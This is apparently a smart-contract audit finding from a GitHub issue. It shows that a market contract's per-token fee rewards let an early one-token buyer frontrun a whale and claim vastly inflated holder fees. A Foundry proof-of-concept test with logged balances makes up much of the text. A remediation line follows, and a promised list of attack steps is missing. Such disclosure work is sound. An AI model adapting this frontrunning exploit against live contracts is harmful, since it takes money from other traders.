This is very similar to an inflation attack. Rewards increase whenever _splitFees() is being called which is anywhere (buy/sell/mint/burn). The calculation is done like this: shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount;. Where _tokenCount == shareData[_id].tokensInCirculation.
This introduces an attack vector where:
Looking at the poc’s result, 1100000000000000.0 asD were spend to buy 1. 10727884203516711960528-1e18 =
1.0726884203516712e+22 asD was collected. This is 9751712.9 times the initial buy. This clearly does not make sense. The whale that made the big buy is the one that lost a huge amount of money in fees. Attacker comes out with a very large profit by frontrunning as the first buy.
Add the poc to Market.t.sol:
function testUnfairRewards() public {
address dummy = makeAddr("dummy");
address x = makeAddr("x");
testCreateNewShare();
deal(address(token), dummy, 1_000_000_000e18);
deal(address(token), x, 1e18);
// x will buy
vm.startPrank(x);
token.approve(address(market), type(uint256).max);
market.buy(1, 1);
vm.stopPrank();
console.log("balance x 1", token.balanceOf(x));
// balance x 1 998900000000000000
// big purchase refill rewards
vm.startPrank(dummy);
token.approve(address(market), type(uint256).max);
market.buy(1, 100_000);
vm.stopPrank();
// collect fees
vm.startPrank(x);
market.claimHolderFee(1);
console.log("balance x 2", token.balanceOf(x));
// balance x 2 10727884203516711960528
vm.stopPrank();
}
Manual Review.
Change the reward model.
Math
The text was updated successfully, but these errors were encountered:
All reactions